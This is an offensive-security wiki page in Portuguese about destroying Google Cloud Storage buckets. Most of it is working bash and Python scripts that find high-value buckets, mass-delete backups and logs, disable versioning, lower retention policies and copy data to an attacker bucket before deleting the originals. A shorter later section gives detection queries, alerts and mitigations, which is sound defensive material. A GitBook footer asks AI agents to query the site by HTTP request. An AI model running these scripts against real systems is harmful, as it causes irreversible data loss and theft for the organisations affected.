> For the complete documentation index, see [llms.txt](https://0xmorte.gitbook.io/bibliadopentestbr/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/cloud/gcp/interrupcao/cloud-storage-bucket-deletion.md).

# Cloud Storage Bucket Deletion

> *"Um bucket sem versionamento é um 'rm -rf' de dados reais."*

## 📋 ÍNDICE

1. [Fundamentos do Ataque](#1-fundamentos-do-ataque)
2. [Permissões Críticas para Deleção](#2-permissões-críticas-para-deleção)
3. [Técnicas de Deleção](#3-técnicas-de-deleção)
4. [Bypass de Proteções](#4-bypass-de-proteções)
5. [Exfiltração Antes da Destruição](#5-exfiltração-antes-da-destruição)
6. [Detecção e Mitigação](#6-detecção-e-mitigação)
7. [Referências Rápidas](#7-referências-rápidas)

***

## 1. FUNDAMENTOS DO ATAQUE

### 1.1 Conceito

A exclusão maliciosa de buckets Cloud Storage é uma forma devastadora de ataque de impacto, causando perda permanente de dados críticos — backups, logs, arquivos de configuração, assets — especialmente quando o versionamento de objetos está desabilitado.

```yaml
CLOUD_STORAGE_BUCKET_DELETION:
  Definição: "Exclusão não autorizada de buckets e objetos do Cloud Storage"

  PERMISSÕES_CRÍTICAS:
    - storage.buckets.delete (deletar bucket)
    - storage.objects.delete (deletar objetos)
    - storage.buckets.update (modificar configurações)
    - storage.objects.update (modificar objetos)

  NÍVEIS_DE_DELEÇÃO:
    - Bucket completo: Remove bucket + todos objetos
    - Objetos por prefixo: Deleção seletiva (ex: backups/**)
    - Objetos por padrão: Deleção por extensão/categoria
    - Versões específicas: Deleção de versões antigas

  MITRE ATT&CK:
    - TA0040: Impact (vetor principal)
    - T1485: Data Destruction
    - T1489: Service Stop
    - T1565: Data Manipulation (indireto)
```

### 1.2 Arquitetura de Ameaça

```mermaid
graph TD
    subgraph "Atacante com Permissões"
        A[storage.buckets.delete]
        B[storage.objects.delete]
        C[storage.buckets.update]
    end
    
    subgraph "Cloud Storage"
        D[Bucket Alvo]
        E[Objeto 1]
        F[Objeto 2]
        G[Objeto N]
        H[Versões Antigas]
    end
    
    subgraph "Resultado"
        I[Perda de Dados]
        J[Indisponibilidade]
        K[Prejuízo Financeiro]
    end
    
    A --> D
    B --> E
    B --> F
    B --> G
    C --> H
    
    D --> I
    E --> I
    F --> I
    G --> I
    H --> I
    
    I --> J
    J --> K
    
    style D fill:#f66,stroke:#333,stroke-width:2px
    style I fill:#f66,stroke:#333,stroke-width:2px
```

### 1.3 Comparação de Métodos de Deleção

| Método                                 | Velocidade | Recuperação              | Logs  | Impacto    |
| -------------------------------------- | ---------- | ------------------------ | ----- | ---------- |
| **Deleção de Bucket (vazio)**          | Rápida     | Backup (se existir)      | ✅ Sim | 🟠 Alto    |
| **Deleção Recursiva**                  | Média      | Versionamento (se ativo) | ✅ Sim | 🔴 Crítico |
| **Deleção por Prefixo**                | Média      | Backup/Versionamento     | ✅ Sim | 🟠 Alto    |
| **Desabilitar Versionamento + Delete** | Lenta      | Improvável               | ✅ Sim | 🔴 Crítico |
| **Deleção de Versões Específicas**     | Rápida     | Parcial (outras versões) | ✅ Sim | 🟡 Médio   |

⚠️ **Alerta Ofensivo:** A combinação de **desabilitar versionamento + deleção recursiva** torna a recuperação impossível, mesmo com políticas de retenção configuradas.

***

## 2. PERMISSÕES CRÍTICAS PARA DELEÇÃO

### 2.1 Verificação de Permissões

```bash
#!/bin/bash
# check_delete_perms.sh - Verifica permissões para deleção

PROJECT_ID="victim-project"
SA_EMAIL="compromised-sa@$PROJECT_ID.iam.gserviceaccount.com"

echo "=== Cloud Storage Deletion Permission Check ==="

# 1. Verificar permissões do IAM
echo "[*] Checking IAM permissions for SA..."
gcloud projects get-iam-policy "$PROJECT_ID" \
    --flatten="bindings" \
    --filter="bindings.members:'$SA_EMAIL' AND (bindings.role:roles/storage.admin OR bindings.role:roles/storage.objectAdmin)" \
    --format="table(bindings.role)"

# 2. Verificar permissões em buckets específicos
echo -e "\n[*] Checking bucket-level permissions..."
for bucket in $(gsutil ls -p "$PROJECT_ID" 2>/dev/null); do
    echo "  $bucket:"
    gsutil iam get "$bucket" 2>/dev/null | grep -A 3 "$SA_EMAIL" | head -5
done

# 3. Verificar versionamento (fator de recuperação)
echo -e "\n[*] Checking versioning status on buckets:"
for bucket in $(gsutil ls -p "$PROJECT_ID" 2>/dev/null); do
    VERSIONING=$(gsutil versioning get "$bucket" 2>/dev/null | grep -o "Enabled\|Suspended")
    if [ "$VERSIONING" = "Enabled" ]; then
        echo "  $bucket: VERSIONING ENABLED (recoverable)"
    else
        echo "  $bucket: VERSIONING DISABLED (CRITICAL - data loss risk)"
    fi
done

# 4. Verificar retention policies
echo -e "\n[*] Checking retention policies:"
for bucket in $(gsutil ls -p "$PROJECT_ID" 2>/dev/null); do
    RETENTION=$(gsutil retention get "$bucket" 2>/dev/null | grep -o "Retention period: [0-9]*")
    if [ -n "$RETENTION" ]; then
        echo "  $bucket: $RETENTION (protected)"
    fi
done
```

### 2.2 Enumeração de Alvos Prioritários

```bash
#!/bin/bash
# priority_targets.sh - Identifica buckets de alto valor

PROJECT_ID="victim-project"

echo "=== High-Value Bucket Targets ==="

# 1. Buckets de backup (alvos principais)
echo "[*] Backup buckets:"
gsutil ls -p "$PROJECT_ID" | grep -i "backup\|backups\|snapshots"

# 2. Buckets de logs (críticos para forense)
echo -e "\n[*] Log buckets:"
gsutil ls -p "$PROJECT_ID" | grep -i "log\|logs\|audit"

# 3. Buckets sem versionamento (recuperação impossível)
echo -e "\n[*] Buckets WITHOUT versioning (PRIME TARGETS):"
for bucket in $(gsutil ls -p "$PROJECT_ID" 2>/dev/null); do
    VERSIONING=$(gsutil versioning get "$bucket" 2>/dev/null)
    if echo "$VERSIONING" | grep -q "Suspended"; then
        SIZE=$(gsutil du -sh "$bucket" 2>/dev/null | awk '{print $1}')
        echo "  [!] $bucket (${SIZE:-unknown}) - NO VERSIONING"
    fi
done

# 4. Buckets com dados de produção
echo -e "\n[*] Production data buckets:"
gsutil ls -p "$PROJECT_ID" | grep -i "prod\|production\|data\|assets"

# 5. Buckets públicos (frequentemente críticos)
echo -e "\n[*] Public buckets:"
for bucket in $(gsutil ls -p "$PROJECT_ID" 2>/dev/null); do
    if gsutil iam get "$bucket" 2>/dev/null | grep -q "allUsers"; then
        echo "  [!] $bucket - PUBLIC BUCKET (high visibility)"
    fi
done
```

***

## 3. TÉCNICAS DE DELEÇÃO

### 3.1 Deleção de Bucket Completo

```bash
#!/bin/bash
# delete_bucket.sh - Deleção completa de bucket

BUCKET_NAME="target-bucket"

echo "=== Cloud Storage Bucket Deletion ==="

# 1. Verificar tamanho do bucket
echo "[*] Checking bucket size..."
SIZE=$(gsutil du -sh "gs://$BUCKET_NAME" 2>/dev/null | awk '{print $1}')
echo "    Bucket size: ${SIZE:-unknown}"

# 2. Verificar versionamento
echo -e "\n[*] Checking versioning status..."
gsutil versioning get "gs://$BUCKET_NAME"

# 3. Deletar bucket (requer bucket vazio)
echo -e "\n[*] Deleting bucket..."
gsutil rm -r "gs://$BUCKET_NAME" 2>&1 | tail -5

# 4. Verificar deleção
echo -e "\n[*] Verifying deletion..."
if gsutil ls "gs://$BUCKET_NAME" > /dev/null 2>&1; then
    echo "[-] Bucket still exists!"
else
    echo "[!] Bucket DELETED successfully"
fi
```

### 3.2 Deleção Recursiva (Com Objetos)

```bash
#!/bin/bash
# recursive_delete.sh - Deleção recursiva de objetos

BUCKET_NAME="target-bucket"

echo "=== Recursive Object Deletion ==="

# 1. Contar objetos antes da deleção
echo "[*] Counting objects before deletion..."
COUNT_BEFORE=$(gsutil ls -r "gs://$BUCKET_NAME/**" 2>/dev/null | wc -l)
echo "    Objects before: $COUNT_BEFORE"

# 2. Deletar todos objetos recursivamente
echo -e "\n[*] Deleting all objects recursively..."
gsutil -m rm -r "gs://$BUCKET_NAME/**" 2>&1 | tail -10

# 3. Verificar se restaram objetos
echo -e "\n[*] Verifying deletion..."
COUNT_AFTER=$(gsutil ls -r "gs://$BUCKET_NAME/**" 2>/dev/null | wc -l)
echo "    Objects after: $COUNT_AFTER"

# 4. Deletar bucket vazio
if [ "$COUNT_AFTER" -eq 0 ]; then
    echo -e "\n[*] Deleting empty bucket..."
    gsutil rb "gs://$BUCKET_NAME"
fi

echo "[!] Deletion complete"
```

### 3.3 Deleção Seletiva por Padrão

```bash
#!/bin/bash
# selective_delete.sh - Deleção seletiva por padrão

BUCKET_NAME="target-bucket"

echo "=== Selective Object Deletion ==="

# 1. Deletar todos backups
echo "[*] Deleting backup files..."
gsutil -m rm "gs://$BUCKET_NAME/**/*.bak" 2>/dev/null
gsutil -m rm "gs://$BUCKET_NAME/**/*.backup" 2>/dev/null
gsutil -m rm "gs://$BUCKET_NAME/**/backup/**" 2>/dev/null

# 2. Deletar arquivos temporários
echo -e "\n[*] Deleting temporary files..."
gsutil -m rm "gs://$BUCKET_NAME/**/*.tmp" 2>/dev/null
gsutil -m rm "gs://$BUCKET_NAME/**/*.temp" 2>/dev/null
gsutil -m rm "gs://$BUCKET_NAME/**/tmp/**" 2>/dev/null

# 3. Deletar arquivos de log
echo -e "\n[*] Deleting log files..."
gsutil -m rm "gs://$BUCKET_NAME/**/*.log" 2>/dev/null

# 4. Deletar por extensões específicas
echo -e "\n[*] Deleting by extension..."
EXTENSIONS=("sql" "csv" "json" "yaml" "yml" "tfstate" "pem" "key")
for ext in "${EXTENSIONS[@]}"; do
    count=$(gsutil ls "gs://$BUCKET_NAME/**/*.$ext" 2>/dev/null | wc -l)
    if [ "$count" -gt 0 ]; then
        echo "  Deleting $count .$ext files"
        gsutil -m rm "gs://$BUCKET_NAME/**/*.$ext" 2>/dev/null
    fi
done

# 5. Deletar por prefixo (diretórios específicos)
echo -e "\n[*] Deleting by prefix..."
PREFIXES=("secrets/" "credentials/" "keys/" "backups/old/")
for prefix in "${PREFIXES[@]}"; do
    if gsutil ls "gs://$BUCKET_NAME/$prefix" > /dev/null 2>&1; then
        echo "  Deleting gs://$BUCKET_NAME/$prefix"
        gsutil -m rm -r "gs://$BUCKET_NAME/$prefix" 2>/dev/null
    fi
done

echo "[!] Selective deletion complete"
```

### 3.4 Deleção em Massa (Parallel)

```python
#!/usr/bin/env python3
# massive_deletion.py - Deleção em massa paralela

from google.cloud import storage
from concurrent.futures import ThreadPoolExecutor, as_completed
import sys
import time
from typing import List

class MassiveDeleter:
    """Deleção paralela de objetos no Cloud Storage"""
    
    def __init__(self, project_id: str):
        self.client = storage.Client(project=project_id)
    
    def list_all_objects(self, bucket_name: str, prefix: str = None) -> List[str]:
        """Lista todos objetos no bucket"""
        bucket = self.client.bucket(bucket_name)
        blobs = bucket.list_blobs(prefix=prefix)
        return [blob.name for blob in blobs]
    
    def delete_object(self, bucket_name: str, object_name: str) -> bool:
        """Deleta um objeto"""
        try:
            bucket = self.client.bucket(bucket_name)
            blob = bucket.blob(object_name)
            blob.delete()
            return True
        except Exception as e:
            print(f"  Error deleting {object_name}: {e}")
            return False
    
    def delete_batch_parallel(self, bucket_name: str, 
                              prefix: str = None, 
                              max_workers: int = 50) -> dict:
        """Deleta objetos em paralelo"""
        print(f"[*] Listing objects in gs://{bucket_name}")
        objects = self.list_all_objects(bucket_name, prefix)
        print(f"[*] Found {len(objects)} objects")
        
        if not objects:
            return {"deleted": 0, "total": 0}
        
        deleted = 0
        start_time = time.time()
        
        with ThreadPoolExecutor(max_workers=max_workers) as executor:
            futures = {executor.submit(self.delete_object, bucket_name, obj): obj 
                      for obj in objects}
            
            for future in as_completed(futures):
                if future.result():
                    deleted += 1
                if deleted % 1000 == 0:
                    elapsed = time.time() - start_time
                    rate = deleted / elapsed if elapsed > 0 else 0
                    print(f"  Progress: {deleted}/{len(objects)} ({rate:.1f} objects/sec)")
        
        elapsed = time.time() - start_time
        return {
            "deleted": deleted,
            "total": len(objects),
            "elapsed_seconds": elapsed,
            "rate": deleted / elapsed if elapsed > 0 else 0
        }
    
    def delete_by_prefixes(self, bucket_name: str, prefixes: List[str]) -> dict:
        """Deleta por múltiplos prefixos"""
        results = {}
        for prefix in prefixes:
            print(f"\n[*] Deleting prefix: {prefix}")
            result = self.delete_batch_parallel(bucket_name, prefix)
            results[prefix] = result
        return results

# Exemplo de uso
if __name__ == "__main__":
    deleter = MassiveDeleter("victim-project")
    
    # Deleção de bucket inteiro
    result = deleter.delete_batch_parallel("target-bucket")
    print(f"\n=== Deletion Results ===")
    print(f"Deleted: {result['deleted']}/{result['total']}")
    print(f"Time: {result['elapsed_seconds']:.2f}s")
    print(f"Rate: {result['rate']:.1f} objects/sec")
    
    # Deleção seletiva
    # result = deleter.delete_by_prefixes("target-bucket", ["backups/", "logs/old/", "temp/"])
```

***

## 4. BYPASS DE PROTEÇÕES

### 4.1 Desabilitar Versionamento + Deleção

```bash
#!/bin/bash
# disable_versioning_and_delete.sh - Remove versionamento e deleta

BUCKET_NAME="protected-bucket"

echo "=== Disable Versioning and Delete ==="

# 1. Verificar status atual do versionamento
echo "[*] Current versioning status:"
gsutil versioning get "gs://$BUCKET_NAME"

# 2. Desabilitar versionamento (se habilitado)
echo -e "\n[*] Disabling versioning..."
gsutil versioning set off "gs://$BUCKET_NAME"

# 3. Listar todas versões (incluindo não atuais)
echo -e "\n[*] Listing all versions (including non-current):"
gsutil ls -a "gs://$BUCKET_NAME/**" | head -10

# 4. Deletar todas versões (requer permissão)
echo -e "\n[*] Deleting all versions..."
# Obter IDs das versões e deletar
gsutil ls -a "gs://$BUCKET_NAME/**" | while read -r version; do
    echo "  Deleting version: $version"
    gsutil rm "$version" 2>/dev/null
done

# 5. Deletar bucket vazio
echo -e "\n[*] Deleting empty bucket..."
gsutil rb "gs://$BUCKET_NAME"

echo "[!] Versioning disabled and bucket deleted - data unrecoverable"
```

### 4.2 Bypass de Retention Policy

```bash
#!/bin/bash
# bypass_retention.sh - Contorna políticas de retenção

BUCKET_NAME="retention-bucket"

echo "=== Bypassing Retention Policy ==="

# 1. Verificar retention policy atual
echo "[*] Current retention policy:"
gsutil retention get "gs://$BUCKET_NAME"

# 2. Tentar desabilitar retention (se permitido)
echo -e "\n[*] Attempting to remove retention policy..."
# Requer permissões específicas
gsutil retention set 0 "gs://$BUCKET_NAME" 2>/dev/null

# 3. Se não conseguir remover, tentar temporizar
echo -e "\n[*] Attempting to set lower retention period..."
gsutil retention set 1 "gs://$BUCKET_NAME" 2>/dev/null

# 4. Aguardar expiração (se período curto)
# sleep 86400  # 24h (apenas para retenção de 1 dia)

# 5. Tentar deletar objetos após expiração
echo -e "\n[*] Attempting deletion after retention period..."
gsutil rm -r "gs://$BUCKET_NAME/**"

echo "[!] Retention policy bypass attempted"
```

### 4.3 Deleção Cross-Project

```bash
#!/bin/bash
# cross_project_delete.sh - Deleção através de projetos

SOURCE_PROJECT="victim-project"
DEST_PROJECT="attacker-project"
BUCKET_NAME="target-bucket"

echo "=== Cross-Project Deletion Attack ==="

# 1. Verificar se bucket é acessível de outro projeto
echo "[*] Testing access from attacker project..."
gcloud config set project "$DEST_PROJECT"

if gsutil ls "gs://$BUCKET_NAME" > /dev/null 2>&1; then
    echo "[!] Bucket accessible from attacker project!"
    
    # 2. Deletar bucket do projeto atacante
    echo -e "\n[*] Deleting bucket from attacker project..."
    gsutil rm -r "gs://$BUCKET_NAME"
    
    echo "[!] Bucket deleted via cross-project access"
else
    echo "[-] Bucket not accessible from attacker project"
fi

# Restaurar projeto original
gcloud config set project "$SOURCE_PROJECT"
```

***

## 5. EXFILTRAÇÃO ANTES DA DESTRUIÇÃO

### 5.1 Copy + Delete

```bash
#!/bin/bash
# copy_then_delete.sh - Cópia antes da destruição

SOURCE_BUCKET="victim-bucket"
DEST_BUCKET="attacker-bucket"

echo "=== Copy Then Delete Attack ==="

# 1. Copiar dados para bucket controlado
echo "[*] Copying data to attacker bucket..."
gsutil -m cp -r "gs://$SOURCE_BUCKET/**" "gs://$DEST_BUCKET/exfil/" 2>&1 | tail -5

# 2. Verificar cópia
echo -e "\n[*] Verifying copy..."
SIZE=$(gsutil du -sh "gs://$DEST_BUCKET/exfil" 2>/dev/null | awk '{print $1}')
echo "    Data copied: $SIZE"

# 3. Deletar bucket original
echo -e "\n[*] Deleting original bucket..."
gsutil rm -r "gs://$SOURCE_BUCKET/**"
gsutil rb "gs://$SOURCE_BUCKET"

echo "[!] Data exfiltrated and original destroyed"
```

### 5.2 Selective Exfiltration + Selective Deletion

```python
#!/usr/bin/env python3
# selective_exfil_then_delete.py - Exfiltração seletiva seguida de deleção

from google.cloud import storage
import shutil
import os
from concurrent.futures import ThreadPoolExecutor
from typing import List

class SelectiveDestroyer:
    """Exfiltra dados sensíveis antes de deletar"""
    
    def __init__(self, source_bucket: str, dest_bucket: str):
        self.source_bucket = source_bucket
        self.dest_bucket = dest_bucket
        self.client = storage.Client()
    
    def find_sensitive_objects(self, patterns: List[str]) -> List[str]:
        """Encontra objetos sensíveis por padrão"""
        bucket = self.client.bucket(self.source_bucket)
        sensitive = []
        
        for blob in bucket.list_blobs():
            for pattern in patterns:
                if pattern.lower() in blob.name.lower():
                    sensitive.append(blob.name)
                    break
        
        return sensitive
    
    def exfiltrate_objects(self, objects: List[str]) -> int:
        """Exfiltra objetos para bucket destino"""
        source_bucket = self.client.bucket(self.source_bucket)
        dest_bucket = self.client.bucket(self.dest_bucket)
        
        exfiltrated = 0
        for obj_name in objects:
            source_blob = source_bucket.blob(obj_name)
            dest_blob = dest_bucket.blob(f"exfil/{obj_name}")
            
            # Copiar diretamente no GCP (rápido)
            dest_blob.rewrite(source_blob)
            exfiltrated += 1
        
        return exfiltrated
    
    def delete_bucket(self) -> bool:
        """Deleta bucket após exfiltração"""
        bucket = self.client.bucket(self.source_bucket)
        
        # Deletar todos objetos
        for blob in bucket.list_blobs():
            blob.delete()
        
        # Deletar bucket
        bucket.delete()
        return True
    
    def destroy_with_exfil(self, patterns: List[str]) -> dict:
        """Executa destruição com exfiltração"""
        print(f"[*] Finding sensitive objects in gs://{self.source_bucket}")
        sensitive = self.find_sensitive_objects(patterns)
        print(f"[!] Found {len(sensitive)} sensitive objects")
        
        if sensitive:
            print("[*] Exfiltrating to gs://{self.dest_bucket}")
            exfiltrated = self.exfiltrate_objects(sensitive)
            print(f"[!] Exfiltrated {exfiltrated} objects")
        
        print("[*] Deleting original bucket")
        self.delete_bucket()
        
        return {
            "exfiltrated": len(sensitive),
            "bucket_deleted": True
        }

# Exemplo de uso
destroyer = SelectiveDestroyer("victim-bucket", "attacker-bucket")
patterns = ["credentials", "secret", "key", "password", "backup", "dump"]

result = destroyer.destroy_with_exfil(patterns)
print(f"\n=== Attack Results ===")
print(f"Exfiltrated: {result['exfiltrated']} objects")
print(f"Bucket deleted: {result['bucket_deleted']}")
```

***

## 6. DETECÇÃO E MITIGAÇÃO

### 6.1 Detecção via Cloud Audit Logs

```sql
-- Cloud Logging: Detectar deleção de buckets

SELECT
  timestamp,
  proto_payload.audit_log.method_name,
  proto_payload.audit_log.authentication_info.principal_email,
  proto_payload.audit_log.resource_name,
  proto_payload.audit_log.requestMetadata.caller_ip
FROM
  `PROJECT_ID.cloudaudit_googleapis_com_activity_*`
WHERE
  proto_payload.audit_log.method_name IN (
    "storage.buckets.delete",
    "storage.objects.delete",
    "storage.buckets.update"
  )
ORDER BY timestamp DESC
LIMIT 100;
```

```sql
-- Detectar deleção em massa (muitos objetos)

SELECT
  timestamp,
  proto_payload.audit_log.authentication_info.principal_email as user,
  COUNT(*) as delete_count,
  ARRAY_AGG(DISTINCT proto_payload.audit_log.resource_name) as deleted_resources
FROM
  `PROJECT_ID.cloudaudit_googleapis_com_activity_*`
WHERE
  proto_payload.audit_log.method_name = "storage.objects.delete"
  AND timestamp > TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 5 MINUTE)
GROUP BY timestamp, user
HAVING delete_count > 100
ORDER BY delete_count DESC;
```

```sql
-- Detectar padrão: copy + delete (exfiltração antes da destruição)

WITH copies AS (
  SELECT timestamp, principal_email, resource_name
  FROM `PROJECT_ID.cloudaudit_googleapis_com_activity_*`
  WHERE method_name = "storage.objects.create"
    AND resource_name LIKE "%attacker-bucket%"
),
deletions AS (
  SELECT timestamp, principal_email, resource_name
  FROM `PROJECT_ID.cloudaudit_googleapis_com_activity_*`
  WHERE method_name = "storage.objects.delete"
)
SELECT *
FROM copies c
JOIN deletions d ON c.principal_email = d.principal_email
WHERE TIMESTAMP_DIFF(d.timestamp, c.timestamp, MINUTE) < 30
ORDER BY c.timestamp;
```

### 6.2 Alertas Automáticos

```bash
#!/bin/bash
# create_bucket_deletion_alerts.sh - Alertas para deleção de buckets

PROJECT_ID="victim-project"

echo "=== Creating Bucket Deletion Alerts ==="

# 1. Alerta para deleção de bucket
gcloud alpha monitoring policies create \
    --project="$PROJECT_ID" \
    --display-name="GCS Bucket Deletion" \
    --condition-filter='
        resource.type="gcs_bucket"
        AND protoPayload.methodName="storage.buckets.delete"
    ' \
    --condition-threshold-value=1 \
    --condition-duration="0s"

# 2. Alerta para deleção em massa
gcloud alpha monitoring policies create \
    --project="$PROJECT_ID" \
    --display-name="Mass GCS Object Deletion" \
    --condition-filter='
        resource.type="gcs_bucket"
        AND protoPayload.methodName="storage.objects.delete"
    ' \
    --condition-threshold-count=1000 \
    --condition-threshold-duration="5m"

# 3. Alerta para desabilitação de versionamento
gcloud alpha monitoring policies create \
    --project="$PROJECT_ID" \
    --display-name="Versioning Disabled" \
    --condition-filter='
        resource.type="gcs_bucket"
        AND protoPayload.methodName="storage.buckets.update"
        AND protoPayload.request.versioning.enabled="false"
    ' \
    --condition-threshold-value=1 \
    --condition-duration="0s"

echo "[!] Alerts created successfully"
```

### 6.3 Mitigações

```yaml
MITIGAÇÕES_CLOUD_STORAGE_DELETION:

  𝗣𝗿𝗼𝘁𝗲çã𝗼 𝗱𝗶𝗿𝗲𝘁𝗮:
    - Object versioning: HABILITADO (OBRIGATÓRIO para dados críticos)
    - Retention policies: Período mínimo de retenção
    - Bucket lock: Previne deleção e modificação
    - IAM Conditions: Restringir delete por IP/horário
  
  𝗕𝗮𝗰𝗸𝘂𝗽 𝗲 𝗥𝗲𝗰𝘂𝗽𝗲𝗿𝗮çã𝗼:
    - Cross-region replication (turbo replication)
    - Backups em projeto separado (imutáveis)
    - Scheduled exports para buckets secundários
    - Versionamento com múltiplas gerações (default 3+)
  
  𝗜𝗔𝗠 𝗛𝗮𝗿𝗱𝗲𝗻𝗶𝗻𝗴:
    - Remover storage.buckets.delete de contas não privilegiadas
    - Separation of duties (quem escreve vs quem deleta)
    - Revisão periódica de permissões
    - PIM para operações destrutivas
  
  𝗠𝗼𝗻𝗶𝘁𝗼𝗿𝗮𝗺𝗲𝗻𝘁𝗼:
    - Alertas em tempo real para deleções
    - Detecção de padrão copy+delete
    - Auditoria semanal de configurações de versionamento
```

### 6.4 Tabela de Mitigações vs Técnicas Ofensivas

| Técnica Ofensiva              | Mitigação                     | Efetividade |
| ----------------------------- | ----------------------------- | ----------- |
| **Deleção de bucket**         | Bucket lock + PIM             | 🟢 95%      |
| **Deleção recursiva**         | Versioning habilitado         | 🟢 90%      |
| **Desabilitar versionamento** | IAM restrict + alertas        | 🟡 75%      |
| **Deleção seletiva**          | Retention policies            | 🟢 85%      |
| **Copy + Delete**             | Alertas + cross-region backup | 🟡 70%      |
| **Cross-project delete**      | Organization policy           | 🟢 95%      |

***

## 7. REFERÊNCIAS RÁPIDAS

### 7.1 Comandos Rápidos

| Ação                          | Comando                                 |
| ----------------------------- | --------------------------------------- |
| **Listar buckets**            | `gsutil ls`                             |
| **Deletar bucket**            | `gsutil rm -r gs://BUCKET`              |
| **Deletar objeto**            | `gsutil rm gs://BUCKET/object`          |
| **Deletar recursivo**         | `gsutil -m rm -r gs://BUCKET/**`        |
| **Deletar por prefixo**       | `gsutil rm gs://BUCKET/prefix/**`       |
| **Desabilitar versionamento** | `gsutil versioning set off gs://BUCKET` |
| **Ver versionamento**         | `gsutil versioning get gs://BUCKET`     |
| **Ver retention**             | `gsutil retention get gs://BUCKET`      |

### 7.2 Resumo Técnico

```yaml
CLOUD_STORAGE_BUCKET_DELETION_RESUMO:

  Técnicas_Comprovadas:
    - Deleção de bucket: ✅ Destruição completa
    - Deleção recursiva: ✅ Remoção de todos objetos
    - Deleção seletiva: ✅ Destruição direcionada
    - Copy + Delete: ✅ Exfiltração antes da destruição
    - Disable versioning + delete: ✅ Deleção irreversível
  
  Permissões_Críticas:
    - storage.buckets.delete (CRÍTICA)
    - storage.objects.delete (alta)
    - storage.buckets.update (desabilitar proteções)
  
  Impacto:
    - Perda de dados: 🔴 Sem versionamento/backup
    - Interrupção de serviços: 🔴 Se dados críticos
    - Danos reputacionais: 🔴 Severos
  
  Detectabilidade:
    - Cloud Audit Logs: ✅ Todas operações de delete
    - Cloud Monitoring: ✅ Alertas configuráveis
    - SCC: ✅ Para configurações de segurança
  
  Mitigações_Mínimas:
    - Object versioning (OBRIGATÓRIO)
    - Retention policies (OBRIGATÓRIO para dados críticos)
    - IAM restrito para delete
    - Alertas em tempo real
```

### 7.3 Cross-References

| Técnica Relacionada            | Aplicação                           |
| ------------------------------ | ----------------------------------- |
| **Cloud Storage Exfiltration** | Exfiltração pré-deleção             |
| **Public Buckets**             | Vetor inicial para acesso           |
| **Quota Exhaustion**           | Esgotamento de recursos             |
| **IAM Privilege Escalation**   | Escalação para permissões de delete |

***

### Metadados

**CAMADA=Cloud | DOMINIO=GCP, Interrupcao | SEGURANCA=CloudStorage, BucketDeletion | PILARES=8/8**


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/cloud/gcp/interrupcao/cloud-storage-bucket-deletion.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
